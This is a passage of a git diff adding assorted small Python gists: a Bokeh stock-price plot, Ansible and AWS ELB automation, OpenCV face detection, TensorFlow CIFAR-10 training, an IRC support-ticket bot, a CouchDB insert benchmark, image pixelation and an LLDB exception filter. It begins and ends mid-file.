+    data.data = dict(time=[], display_time=[], price=[])
+
+    return
+
+def update_price():
+    new_price = get_last_price(symbol=TICKER)
+    data.stream(dict(time=new_price["time"],
+                     display_time=new_price["display_time"],
+                     price=new_price["price"]), 10000)
+    return
+
+
+hover = HoverTool(tooltips=[
+    ("Time", "@display_time"),
+    ("IEX Real-Time Price", "@price")
+    ])
+
+price_plot = figure(plot_width=800,
+                    plot_height=400,
+                    x_axis_type='datetime',
+                    tools=[hover, ResizeTool(), SaveTool()],
+                    title="Real-Time Price Plot")
+
+price_plot.line(source=data, x='time', y='price')
+price_plot.xaxis.axis_label = "Time"
+price_plot.yaxis.axis_label = "IEX Real-Time Price"
+price_plot.title.text = "IEX Real Time Price: " + TICKER
+
+ticker_textbox = TextInput(placeholder="Ticker")
+update = Button(label="Update")
+update.on_click(update_ticker)
+
+inputs = widgetbox([ticker_textbox, update], width=200)
+
+curdoc().add_root(row(inputs, price_plot, width=1600))
+curdoc().title = "Real-Time Price Plot from IEX"
+curdoc().add_periodic_callback(update_price, 1000)
diff --git a/hard-gists/66f1569ebb0d878748fe/._snippet.py b/hard-gists/66f1569ebb0d878748fe/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/66f1569ebb0d878748fe/._snippet.py differ
diff --git a/hard-gists/66f1569ebb0d878748fe/snippet.py b/hard-gists/66f1569ebb0d878748fe/snippet.py
new file mode 100644
index 00000000..c4780309
--- /dev/null
+++ b/hard-gists/66f1569ebb0d878748fe/snippet.py
@@ -0,0 +1,36 @@
+from ansible import playbook, callbacks
+
+# uncomment the following to enable silent running on the playbook call
+# this monkey-patches the display method on the callbacks module
+# callbacks.display = lambda *a,**ka: None
+
+# the meat of the meal.  run a playbook on a path with a hosts file and ssh key
+def run_playbook(playbook_path, hosts_path, key_file):
+    stats = callbacks.AggregateStats()
+    playbook_cb = callbacks.PlaybookCallbacks(verbose=0)
+    runner_cb = callbacks.PlaybookRunnerCallbacks(stats, verbose=0)
+    playbook.PlayBook(
+        playbook=playbook_path,
+        host_list=hosts_path,
+        stats=stats,
+        forks=4,
+        callbacks=playbook_cb,
+        runner_callbacks=runner_cb,
+        private_key_file=key_file
+        ).run()
+    return stats
+
+
+if __name__ == '__main__':
+    stats = run_playbook(
+        playbook_path='/SOME/PATH/book.yml',
+        hosts_path='/SOME/OTHER/PATH/ansible_hosts',
+        key_file='/OTHER/PATH/keys/id_rsa.pub'
+        )
+
+    print "PROC", stats.processed
+    print "FAIL", stats.failures
+    print "OK  ", stats.ok
+    print "DARK", stats.dark
+    print "CHGD", stats.changed
+    print "SKIP", stats.skipped
\ No newline at end of file
diff --git a/hard-gists/67044/._snippet.py b/hard-gists/67044/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/67044/._snippet.py differ
diff --git a/hard-gists/67044/snippet.py b/hard-gists/67044/snippet.py
new file mode 100644
index 00000000..0bb7a6da
--- /dev/null
+++ b/hard-gists/67044/snippet.py
@@ -0,0 +1,38 @@
+#!/usr/bin/python
+
+# face_detect.py
+
+# Face Detection using OpenCV. Based on sample code from:
+# http://python.pastebin.com/m76db1d6b
+
+# Usage: python face_detect.py <image_file>
+
+import sys, os
+from opencv.cv import *
+from opencv.highgui import *
+
+def detectObjects(image):
+  """Converts an image to grayscale and prints the locations of any 
+     faces found"""
+  grayscale = cvCreateImage(cvSize(image.width, image.height), 8, 1)
+  cvCvtColor(image, grayscale, CV_BGR2GRAY)
+
+  storage = cvCreateMemStorage(0)
+  cvClearMemStorage(storage)
+  cvEqualizeHist(grayscale, grayscale)
+  cascade = cvLoadHaarClassifierCascade(
+    '/usr/share/opencv/haarcascades/haarcascade_frontalface_default.xml',
+    cvSize(1,1))
+  faces = cvHaarDetectObjects(grayscale, cascade, storage, 1.2, 2,
+                             CV_HAAR_DO_CANNY_PRUNING, cvSize(50,50))
+
+  if faces:
+    for f in faces:
+      print("[(%d,%d) -> (%d,%d)]" % (f.x, f.y, f.x+f.width, f.y+f.height))
+
+def main():
+  image = cvLoadImage(sys.argv[1]);
+  detectObjects(image)
+
+if __name__ == "__main__":
+  main()
diff --git a/hard-gists/6714b632c92d8967fd3c/._snippet.py b/hard-gists/6714b632c92d8967fd3c/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/6714b632c92d8967fd3c/._snippet.py differ
diff --git a/hard-gists/6714b632c92d8967fd3c/snippet.py b/hard-gists/6714b632c92d8967fd3c/snippet.py
new file mode 100644
index 00000000..ac52f6e5
--- /dev/null
+++ b/hard-gists/6714b632c92d8967fd3c/snippet.py
@@ -0,0 +1,188 @@
+# !!! Note for cifar10_train_and_eval.py !!!
+#
+# 1. Put this file into tensorflow/models/image/cifar10 directory.
+# 2. For this file to work, you need to comment out tf.image_summary() in
+#      file tensorflow/models/image/cifar_input.py
+#
+
+
+# Copyright 2015 Google Inc. All Rights Reserved.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#     http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+# ==============================================================================
+
+"""A binary to train CIFAR-10 using a single GPU.
+
+Accuracy:
+cifar10_train.py achieves ~86% accuracy after 100K steps (256 epochs of
+data) as judged by cifar10_eval.py.
+
+Speed: With batch_size 128.
+
+System        | Step Time (sec/batch)  |     Accuracy
+------------------------------------------------------------------
+1 Tesla K20m  | 0.35-0.60              | ~86% at 60K steps  (5 hours)
+1 Tesla K40m  | 0.25-0.35              | ~86% at 100K steps (4 hours)
+
+Usage:
+Please see the tutorial and website for how to download the CIFAR-10
+data set, compile the program and train the model.
+
+http://tensorflow.org/tutorials/deep_cnn/
+"""
+from __future__ import absolute_import
+from __future__ import division
+from __future__ import print_function
+
+from datetime import datetime
+import os.path
+import time
+import math
+
+import numpy as np
+from six.moves import xrange  # pylint: disable=redefined-builtin
+import tensorflow as tf
+
+from tensorflow.models.image.cifar10 import cifar10
+
+FLAGS = tf.app.flags.FLAGS
+
+tf.app.flags.DEFINE_string('train_dir', '/tmp/cifar10_train',
+                           """Directory where to write event logs """
+                           """and checkpoint.""")
+tf.app.flags.DEFINE_integer('max_steps', 1000000,
+                            """Number of batches to run.""")
+tf.app.flags.DEFINE_boolean('log_device_placement', False,
+                            """Whether to log device placement.""")
+
+
+def evaluate_set (sess, top_k_op, num_examples):
+  """Convenience function to run evaluation for for every batch. 
+     Sum the number of correct predictions and output one precision value.
+  Args:
+    sess:          current Session
+    top_k_op:      tensor of type tf.nn.in_top_k
+    num_examples:  number of examples to evaluate
+  """
+  num_iter = int(math.ceil(num_examples / FLAGS.batch_size))
+  true_count = 0  # Counts the number of correct predictions.
+  total_sample_count = num_iter * FLAGS.batch_size
+
+  for step in xrange(num_iter):
+    predictions = sess.run([top_k_op])
+    true_count += np.sum(predictions)
+
+  # Compute precision
+  return true_count / total_sample_count
+
+
+
+def train():
+  """Train CIFAR-10 for a number of steps."""
+  with tf.Graph().as_default():
+    with tf.variable_scope("model") as scope:
+      global_step = tf.Variable(0, trainable=False)
+
+      # Get images and labels for CIFAR-10.
+      images, labels = cifar10.distorted_inputs()      
+      images_eval, labels_eval = cifar10.inputs(eval_data=True)
+
+      # Build a Graph that computes the logits predictions from the
+      # inference model.
+      logits = cifar10.inference(images)
+      scope.reuse_variables()
+      logits_eval = cifar10.inference(images_eval)
+
+      # Calculate loss.
+      loss = cifar10.loss(logits, labels)
+
+      # For evaluation
+      top_k      = tf.nn.in_top_k (logits,      labels,      1)
+      top_k_eval = tf.nn.in_top_k (logits_eval, labels_eval, 1)
+
+      # Add precision summary
+      summary_train_prec = tf.placeholder(tf.float32)
+      summary_eval_prec  = tf.placeholder(tf.float32)
+      tf.scalar_summary('precision/train', summary_train_prec)
+      tf.scalar_summary('precision/eval',  summary_eval_prec)
+
+      # Build a Graph that trains the model with one batch of examples and
+      # updates the model parameters.
+      train_op = cifar10.train(loss, global_step)
+
+      # Create a saver.
+      saver = tf.train.Saver(tf.all_variables())
+
+      # Build the summary operation based on the TF collection of Summaries.
+      summary_op = tf.merge_all_summaries()
+
+      # Build an initialization operation to run below.
+      init = tf.initialize_all_variables()
+
+      # Start running operations on the Graph.
+      sess = tf.Session(config=tf.ConfigProto(
+	  log_device_placement=FLAGS.log_device_placement))
+      sess.run(init)
+
+      # Start the queue runners.
+      tf.train.start_queue_runners(sess=sess)
+
+      summary_writer = tf.train.SummaryWriter(FLAGS.train_dir,
+					      graph_def=sess.graph_def)
+
+      for step in xrange(FLAGS.max_steps):
+	start_time = time.time()
+	_, loss_value = sess.run([train_op, loss])
+	duration = time.time() - start_time
+
+	assert not np.isnan(loss_value), 'Model diverged with loss = NaN'
+
+	if step % 10 == 0:
+	  num_examples_per_step = FLAGS.batch_size
+	  examples_per_sec = num_examples_per_step / duration
+	  sec_per_batch = float(duration)
+
+	  format_str = ('%s: step %d, loss = %.2f (%.1f examples/sec; %.3f '
+			'sec/batch)')
+	  print (format_str % (datetime.now(), step, loss_value,
+			       examples_per_sec, sec_per_batch))
+
+        EVAL_STEP = 10
+        EVAL_NUM_EXAMPLES = 1024
+        if step % EVAL_STEP == 0:
+	  prec_train = evaluate_set (sess, top_k,      EVAL_NUM_EXAMPLES)
+	  prec_eval  = evaluate_set (sess, top_k_eval, EVAL_NUM_EXAMPLES)
+          print('%s: precision train = %.3f' % (datetime.now(), prec_train))
+          print('%s: precision eval  = %.3f' % (datetime.now(), prec_eval))
+
+	if step % 100 == 0:
+	  summary_str = sess.run(summary_op, feed_dict={summary_train_prec: prec_train,
+                                                  summary_eval_prec:  prec_eval})
+	  summary_writer.add_summary(summary_str, step)
+
+	# Save the model checkpoint periodically.
+	if step % 1000 == 0 or (step + 1) == FLAGS.max_steps:
+	  checkpoint_path = os.path.join(FLAGS.train_dir, 'model.ckpt')
+	  saver.save(sess, checkpoint_path, global_step=step)
+
+
+def main(argv=None):  # pylint: disable=unused-argument
+  cifar10.maybe_download_and_extract()
+  if tf.gfile.Exists(FLAGS.train_dir):
+    tf.gfile.DeleteRecursively(FLAGS.train_dir)
+  tf.gfile.MakeDirs(FLAGS.train_dir)
+  train()
+
+
+if __name__ == '__main__':
+  tf.app.run()
diff --git a/hard-gists/6718314/._snippet.py b/hard-gists/6718314/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/6718314/._snippet.py differ
diff --git a/hard-gists/6718314/snippet.py b/hard-gists/6718314/snippet.py
new file mode 100644
index 00000000..be9ed87f
--- /dev/null
+++ b/hard-gists/6718314/snippet.py
@@ -0,0 +1,67 @@
+#!/usr/bin/env python
+
+import time
+import boto
+import boto.ec2.elb
+import boto.utils
+
+from flask.ext.script import Manager
+
+from closeio.main import setup_app
+
+app = setup_app()
+manager = Manager(app)
+
+
+def get_elb():
+    elb_conn = boto.ec2.elb.connect_to_region(aws_access_key_id=app.config['AWS_ELB_ACCESS_KEY_ID'], aws_secret_access_key=app.config['AWS_ELB_SECRET_ACCESS_KEY'], region_name='us-west-2')
+    return elb_conn.get_all_load_balancers([app.config['AWS_ELB_NAME']])[0]
+
+@manager.command
+def remove_this_instance_from_elb():
+    elb = get_elb()
+
+    # get the aws ec2 instance id for the current machine
+    instance_id = boto.utils.get_instance_metadata()['instance-id']
+
+    if instance_id in [i.id for i in elb.instances]:
+        elb.deregister_instances(instance_id)
+        print 'Removing %s from ELB %s' % (instance_id, elb.name)
+
+        timeout = time.time() + 60*5 # 5 minutes
+        while True:
+            health = elb.get_instance_health([instance_id])[0]
+            assert health.instance_id == instance_id
+            assert time.time() < timeout
+            if health.state == 'OutOfService':
+                break
+            print 'Waiting for removal...'
+            time.sleep(1)
+
+    print 'Done'
+
+@manager.command
+def add_this_instance_to_elb():
+    elb = get_elb()
+
+    # get the aws ec2 instance id for the current machine
+    instance_id = boto.utils.get_instance_metadata()['instance-id']
+
+    elb.register_instances(instance_id)
+
+    start = time.time()
+    print 'Adding %s to ELB %s' % (instance_id, elb.name)
+
+    timeout = time.time() + 60*5 # 5 minutes
+    while True:
+        health = elb.get_instance_health([instance_id])[0]
+        assert health.instance_id == instance_id
+        assert time.time() < timeout
+        if health.state == 'InService':
+            break
+        time.sleep(1)
+
+    print 'Instance %s now successfully InService in ELB %s (took %d seconds)' % (instance_id, elb.name, time.time() - start)
+
+if __name__ == "__main__":
+    manager.run()
diff --git a/hard-gists/6719172/._snippet.py b/hard-gists/6719172/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/6719172/._snippet.py differ
diff --git a/hard-gists/6719172/snippet.py b/hard-gists/6719172/snippet.py
new file mode 100644
index 00000000..93724369
--- /dev/null
+++ b/hard-gists/6719172/snippet.py
@@ -0,0 +1,257 @@
+# -*- coding: utf-8 -*- 
+
+# The MIT License (MIT)
+# 
+# Copyright (c) 2013 Craften.de Team
+# 
+# Permission is hereby granted, free of charge, to any person obtaining a copy of
+# this software and associated documentation files (the "Software"), to deal in
+# the Software without restriction, including without limitation the rights to
+# use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of
+# the Software, and to permit persons to whom the Software is furnished to do so,
+# subject to the following conditions:
+# 
+# The above copyright notice and this permission notice shall be included in all
+# copies or substantial portions of the Software.
+# 
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS
+# FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR
+# COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER
+# IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
+# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+
+import willie.module
+import re
+import datetime
+
+STATUS_OK = 0
+STATUS_WAITING = 1
+STATUS_IDLE = 2
+
+available_supporters = {}
+open_tickets = {}
+closed_tickets = 0
+next_ticket = 0
+
+class config:
+    """
+    A simple struct for providing the options of this module. 
+    Contains default values as static attributes.
+    """
+    channel = '#callcenter'
+    supporters = []
+    ticket_idle = 30  # ticket is idle after 30 seconds
+    ticket_timeout = 300  # ticket times out after 5 minutes
+    supporter_idle = 120  # supporter is idle after 2 minutes
+    supporter_timeout = 600  # supporter times out after 10 minutes 
+    supporter_askifaliveinterval = 30  # asks idle supporters if they are still alive every 30 seconds
+    msg_no_supporter = 'We are sorry but there are no supporters online. We will notify you when someone is here!'
+    msg_invalid_ticket = 'Sorry, you have no valid support ticket. Please start a new direct support session!'
+    msg_idle_closed = "We closed your support ticket because you didn't say anything for a while."
+    msg_after_support = "We hope we were able to help you! :-)"
+    msg_supporter_available = "A supporter is now available!"
+    pass
+
+class Ticket:
+    def __init__(self, nickname, language):
+        self.nickname = nickname
+        self.language = language
+        self.lasttime = datetime.datetime.now()
+        self.status = STATUS_OK
+    def touch(self):
+        """
+        Markiert dieses Ticket als aktiv und setzt die Zeit zurück
+        """
+        self.lasttime = datetime.datetime.now()
+        self.status = STATUS_OK
+    def is_with(self, nickname):
+        return self.nickname.lower() == nickname.lower()
+    @staticmethod
+    def by_nick(nick):
+        global open_tickets
+        for k in open_tickets:
+            if open_tickets[k].is_with(nick):
+                return k
+        return None
+    def get_idletime(self):
+        """
+        Returns since how many seconds this ticket is idle.
+        """
+        return (datetime.datetime.now() - self.lasttime).total_seconds()
+        
+    
+class OnlineSupporter:
+    def __init__(self, nickname):
+        self.nickname = nickname
+        self.lasttime = datetime.datetime.now()
+        self.lastaskalivetime = 0
+    def touch(self):
+        self.lasttime = datetime.datetime.now()  
+    def get_idletime(self):
+        return (datetime.datetime.now() - self.lasttime).total_seconds()
+    def may_askifalive(self):
+        return (datetime.datetime.now() - self.lastaskalivetime).total_seconds() >= config.supporter_askifaliveinterval;
+
+def open_ticket(nick):
+    global next_ticket
+    ticket = next_ticket
+    open_tickets[ticket] = Ticket(nick[0], nick[1])
+    next_ticket += 1
+    return ticket;
+
+def close_ticket(ticket, is_done=True):
+    if ticket in open_tickets:
+        open_tickets.pop(ticket)
+        if is_done:
+            global closed_tickets
+            closed_tickets += 1
+        return True
+    else:
+        return False
+
+def get_nick_by_ticket(ticket):
+    if ticket in open_tickets:
+        return open_tickets[ticket].nickname
+    else:
+        return None
+
+def get_ticket_stats():
+    return mirc_format("^B^K07%d^R tickets open (^B^K14+%d^R idle), ^B^K10%d^R tickets done" % (
+                        sum(open_tickets[s].status == STATUS_OK for s in open_tickets),
+                        sum(open_tickets[s].status == STATUS_IDLE for s in open_tickets),
+                        closed_tickets))
+
+@willie.module.event('PRIVMSG')
+@willie.module.rule('.*')
+def forward(bot, trigger):
+    if trigger.sender == trigger.nick:
+        # Es ist eine Query, weil Quelle==Nickname statt Quelle==Channelname
+        ticket = Ticket.by_nick(trigger.nick);
+        if ticket != None:
+            bot.msg(config.channel, mirc_format("^K4%s ^K4,15#%d^K^K4:^K %s" % (str(trigger.nick), ticket, trigger.bytes)))
+            open_tickets[ticket].touch()
+        else:
+            m = re.match(r"HELP:(.+);(.*)", trigger.bytes)
+            if (m):
+                ticket = open_ticket((trigger.nick, m.groups(1)))
+                bot.msg(config.channel, mirc_format("^K4New ticket: ^K4,15#%d^K^K4 (%s, %s)" % (ticket, trigger.nick, m.group(1))))
+                if len(available_supporters) == 0:
+                    open_tickets[ticket].status = STATUS_WAITING;
+                    bot.msg(trigger.nick, config.msg_no_supporter)
+            else:
+                bot.msg(trigger.nick, config.msg_invalid_ticket)
+    elif trigger.sender == config.channel and trigger.nick.lower() in config.supporters:
+        # Es ist eine Nachricht im Support-Channel. Cool!
+        # Lebenszeichen des Supporters eintragen
+        m = re.match(r"(\d+) (.*)$", trigger.bytes)
+        if m:
+            supporter_as_online(bot, trigger.nick)
+            target = get_nick_by_ticket(int(m.group(1)))
+            if target is not None:
+                bot.msg(target, m.group(2))
+        
+        if available_supporters.has_key(trigger.nick.lower()):
+            if available_supporters[trigger.nick.lower()].get_idletime() > config.supporter_idle:
+                bot.write(('NOTICE', trigger.nick), "Hey %s, glad you're still here!" % trigger.nick)
+                bot.msg(config.channel, get_ticket_stats())
+            available_supporters[trigger.nick.lower()].touch()
+
+@willie.module.commands('stats')
+def show_stats(bot, trigger):
+    bot.msg(config.channel, get_ticket_stats())
+
+@willie.module.rule(r'(?i)done (\d+)$')
+@willie.module.commands('done')
+def mark_ticket_done(bot, trigger):
+    if trigger.sender == config.channel and trigger.nick.lower() in config.supporters:
+        supporter_as_online(bot, trigger.nick)
+        ticket = int(trigger.group(2))
+        target = get_nick_by_ticket(ticket)
+        if close_ticket(ticket):
+            bot.msg(config.channel, get_ticket_stats())
+            bot.msg(target, config.msg_after_support);
+
+def supporter_as_online(bot, nick):
+    """
+    Marks a supporter as online
+    """
+    if nick.lower() in config.supporters and not nick.lower() in available_supporters:
+        available_supporters[nick.lower()] = OnlineSupporter(nick)
+        bot.msg(config.channel, "%s just logged in!" % nick)
+        for k in open_tickets.copy():
+            if open_tickets[k].status == STATUS_WAITING:
+                bot.msg(open_tickets[k].nickname, config.msg_supporter_available)
+                open_tickets[k].touch()
+        bot.msg(config.channel, get_ticket_stats())
+
+@willie.module.commands('me')
+def supporter_joins(bot, trigger):
+    if trigger.group(2) == 'on':
+        supporter_as_online(bot, trigger.nick)
+    elif trigger.group(2) == 'off':
+        if supporter_quit(trigger.nick):
+            bot.msg(config.channel, "Allright %s, you've done enough for today!" % trigger.nick)
+      
+def supporter_quit(nick):
+    """
+    Removes a supporter from the list of available supporters.
+    Returns false if that supporter was not on the list.
+    """
+    if available_supporters.has_key(nick.lower()):
+            available_supporters.pop(nick.lower())
+            return True
+    return False
+      
+@willie.module.interval(10)
+def check_heartbeat(bot):
+    # I. Um abwesende Supporter kuemmern
+    for k in available_supporters.copy():
+        if available_supporters[k].get_idletime() > config.supporter_timeout:
+            if supporter_quit(k):
+                bot.msg(config.channel, '%s is not available for support anymore.' % k)
+        elif available_supporters[k].get_idletime() > config.supporter_idle and available_supporters[k].may_askifalive:
+            bot.write(('NOTICE', k), '%s, are you still alive?' % k)
+            available_supporters[k].lastaskalivetime = datetime.datetime.now()
+    # II. Um abwesende Tickets kuemmern
+    for k in open_tickets.copy():
+        if open_tickets[k].get_idletime() > config.ticket_timeout:
+            bot.msg(open_tickets[k].nickname, config.msg_idle_closed)
+            if close_ticket(k, False):
+                bot.msg(config.channel, "Closed idle ticket #%d." % k)
+        elif open_tickets[k].get_idletime() > config.ticket_idle:
+            open_tickets[k].status = STATUS_IDLE
+           
+def setup(bot):
+    for attr, value in config.__dict__.iteritems():
+        if not attr.startswith('__'):
+            if bot.config.has_option('supportbot', attr):
+                valueToUse = getattr(bot.config.supportbot, attr);
+                print type(value)
+                if isinstance(value, int):
+                    valueToUse = int(valueToUse)
+                elif isinstance(value, list):
+                    valueToUse = valueToUse.lower().split(',')
+                setattr(config, attr, valueToUse)
+            else:
+                bot.debug('SupportCenter', '%s is missing, will use "%s"' % (attr, value), 'warning')
+
+def configure(botconfig):
+    if botconfig.option("Configure the Support Center"):
+        botconfig.add_section('supportbot')
+        botconfig.interactive_add('supportbot', 'channel', 'In which channel will the supporters work? (The bot must be in that channel!)', config.channel)
+        botconfig.add_list('supportbot', 'supporters', 'Enter all supporters!', 'Nickname:')
+        botconfig.interactive_add('supportbot', 'ticket_idle', 'After how many seconds should a ticket be marked as inactive?', config.ticket_idle)
+        botconfig.interactive_add('supportbot', 'ticket_timeout', 'After how many seconds of inactivity should a ticket be deleted?', config.ticket_timeout)
+        botconfig.interactive_add('supportbot', 'supporter_idle', 'After how many seconds should a supporter be asked if he is alive?', config.supporter_idle)
+        botconfig.interactive_add('supportbot', 'supporter_timeout', 'After how many seconds of inactivity should a supporter be marked as offline?', config.supporter_timeout)
+        botconfig.interactive_add('supportbot', 'supporter_askifaliveinterval', 'How often should an idle supporter be asked if he is alive? (Interval in seconds)', config.supporter_askifaliveinterval)
+        
+def mirc_format(s):
+    """ 
+    Replaces mIRC-Codes (for example ^K for Strg+K for colors) with the corresponding chars 
+    """
+    s = s.replace("^B", chr(0x02))
+    s = s.replace("^K", chr(0x03))
+    s = s.replace("^R", chr(0x0f))
+    return s;
\ No newline at end of file
diff --git a/hard-gists/672229/._snippet.py b/hard-gists/672229/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/672229/._snippet.py differ
diff --git a/hard-gists/672229/snippet.py b/hard-gists/672229/snippet.py
new file mode 100644
index 00000000..da571da7
--- /dev/null
+++ b/hard-gists/672229/snippet.py
@@ -0,0 +1,118 @@
+from datetime import datetime
+
+# See https://gist.github.com/672279/
+from inoi.util.random import sequential_id, monotonic_id
+
+import httplib2
+import json
+import random
+import time
+import sys
+import uuid
+
+id_makers = {
+    'random': lambda: uuid.uuid4().hex,
+    'monotonic': monotonic_id,
+    'sequential': sequential_id,
+}
+
+database = sys.argv[1]
+make_id = id_makers[sys.argv[2]]
+baseurl = 'http://localhost:5984/%s' % database
+
+bulk_size = 2000
+total_docs = 2000000
+
+http = httplib2.Http()
+def send_bulk(bulk):
+    resp, content = http.request(
+        baseurl + '/_bulk_docs',
+        method='POST',
+        body=json.dumps({'docs': bulk}),
+    )
+
+def make_bulk(size):
+    return [
+        {
+            '_id': make_id(),
+            'timestamp': datetime.now().isoformat(),
+            'data': random.random() * 2000,
+        }
+        for i in xrange(size)
+    ]
+
+def main():
+    max_bulk_rate = (-1, float('-inf'))
+    min_bulk_rate = (-1, float('inf'))
+    loop = 0
+
+    def print_stats():
+        end = time.time()
+        total_rate = (loop * bulk_size) / (end - start)
+
+        print '== loop %d ============================' % loop
+        print 'peak min: in loop %d, %.2f docs/sec' % min_bulk_rate
+        print 'peak max: in loop %d, %.2f docs/sec' % max_bulk_rate
+        print 'current: %.2f docs/sec' % bulk_rate
+        print 'total: %.2f docs/sec' % total_rate
+
+    start = time.time()
+    while True:
+        loop += 1
+
+        bulk_start = time.time()
+        bulk = make_bulk(bulk_size)
+        send_bulk(bulk)
+        bulk_end = time.time()
+        bulk_rate = bulk_size / (bulk_end - bulk_start)
+
+        if bulk_rate > max_bulk_rate[1]:
+            max_bulk_rate = (loop, bulk_rate)
+        if bulk_rate < min_bulk_rate[1]:
+            min_bulk_rate = (loop, bulk_rate)
+
+        if loop % 20 == 0:
+            print_stats()
+
+        if loop * bulk_size >= total_docs:
+            break
+
+    print ''
+    print 'FINISHED:'
+    print_stats()
+
+if __name__ == '__main__':
+    main()
+
+# python couchdb_test.py test_sequential_id sequential
+#
+# FINISHED:
+# == loop 1000 ============================
+# peak min: in loop 5, 3057.95 docs/sec
+# peak max: in loop 8, 7904.39 docs/sec
+# current: 7449.51 docs/sec
+# total: 7294.78 docs/sec
+#
+# database size on disk: 648548454 bytes = 0.6 GB
+
+# python couchdb_test.py test_monotonic_id monotonic
+#
+# FINISHED:
+# == loop 1000 ============================
+# peak min: in loop 195, 1911.73 docs/sec
+# peak max: in loop 161, 7703.18 docs/sec
+# current: 7511.34 docs/sec
+# total: 7353.81 docs/sec
+#
+# database size on disk: 611405926 = 0.6 GB
+
+# python couchdb_test.py test_random_id random
+#
+# FINISHED:
+# == loop 1000 ============================
+# peak min: in loop 889, 535.66 docs/sec
+# peak max: in loop 1, 5473.21 docs/sec
+# current: 1685.13 docs/sec
+# total: 2133.34 docs/sec
+#
+# database size on disk: 4330426472 = 4.0 GB
diff --git a/hard-gists/6754465/._snippet.py b/hard-gists/6754465/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/6754465/._snippet.py differ
diff --git a/hard-gists/6754465/snippet.py b/hard-gists/6754465/snippet.py
new file mode 100644
index 00000000..1af6da88
--- /dev/null
+++ b/hard-gists/6754465/snippet.py
@@ -0,0 +1,17 @@
+from PIL import Image
+
+backgroundColor = (0,)*3
+pixelSize = 9
+
+image = Image.open('input.png')
+image = image.resize((image.size[0]/pixelSize, image.size[1]/pixelSize), Image.NEAREST)
+image = image.resize((image.size[0]*pixelSize, image.size[1]*pixelSize), Image.NEAREST)
+pixel = image.load()
+
+for i in range(0,image.size[0],pixelSize):
+  for j in range(0,image.size[1],pixelSize):
+    for r in range(pixelSize):
+      pixel[i+r,j] = backgroundColor
+      pixel[i,j+r] = backgroundColor
+
+image.save('output.png')
diff --git a/hard-gists/6759305/._snippet.py b/hard-gists/6759305/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/6759305/._snippet.py differ
diff --git a/hard-gists/6759305/snippet.py b/hard-gists/6759305/snippet.py
new file mode 100644
index 00000000..b2f0ba5f
--- /dev/null
+++ b/hard-gists/6759305/snippet.py
@@ -0,0 +1,61 @@
+import lldb
+import re
+import shlex
+
+# This script allows Xcode to selectively ignore Obj-C exceptions
+# based on any selector on the NSException instance
+
+def getRegister(target):
+    if target.triple.startswith('x86_64'):
+        return "rdi"
+    elif target.triple.startswith('i386'):
+        return "eax"
+    elif target.triple.startswith('arm64'):
+        return "x0"
+    else:
+        return "r0"
+
+def callMethodOnException(frame, register, method):
+    return frame.EvaluateExpression("(NSString *)[(NSException *)${0} {1}]".format(register, method)).GetObjectDescription()
+
+def filterException(debugger, user_input, result, unused):
+    target = debugger.GetSelectedTarget()
+    frame = target.GetProcess().GetSelectedThread().GetFrameAtIndex(0)
+
+    if frame.symbol.name != 'objc_exception_throw':
+        # We can't handle anything except objc_exception_throw
+        return None
+
+    filters = shlex.split(user_input)
+
+    register = getRegister(target)
+
+
+    for filter in filters:
+        method, regexp_str = filter.split(":", 1)
+        value = callMethodOnException(frame, register, method)
+
+        if value is None:
+            output = "Unable to grab exception from register {0} with method {1}; skipping...".format(register, method)
+            result.PutCString(output)
+            result.flush()
+            continue
+
+        regexp = re.compile(regexp_str)
+
+        if regexp.match(value):
+            output = "Skipping exception because exception's {0} ({1}) matches {2}".format(method, value, regexp_str)
+            result.PutCString(output)
+            result.flush()
+
+            # If we tell the debugger to continue before this script finishes,
+            # Xcode gets into a weird state where it won't refuse to quit LLDB,
+            # so we set async so the script terminates and hands control back to Xcode
+            debugger.SetAsync(True)
+            debugger.HandleCommand("continue")
+            return None
+
+    return None
+
+def __lldb_init_module(debugger, unused):
+    debugger.HandleCommand('command script add --function ignore_specified_objc_exceptions.filterException ignore_specified_objc_exceptions')
diff --git a/hard-gists/6770178/._snippet.py b/hard-gists/6770178/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/6770178/._snippet.py differ
diff --git a/hard-gists/6770178/snippet.py b/hard-gists/6770178/snippet.py
new file mode 100644
index 00000000..8587387a
--- /dev/null
+++ b/hard-gists/6770178/snippet.py
@@ -0,0 +1,44 @@
+#!/usr/bin/env python
+'''
+Simple test script to see if we get ValueErrors with joblib and the current
+version of Python
+'''
+import logging
+import sys
+from multiprocessing import cpu_count
+
+import sklearn.datasets
+from sklearn.grid_search import GridSearchCV
+from sklearn.svm import LinearSVC
+
+
+# Python 2.x backward compatibility
+if sys.version_info < (3, 0):
+    range = xrange
+
+
+def main():
+    '''
+    Run a simple test
+    '''
+
+    # initialize the logger
+    logging.basicConfig(format='%(asctime)s - %(levelname)s - %(message)s',
+                        level=logging.INFO)
+
+    # Load test data
+    logging.info('Loading iris data...')
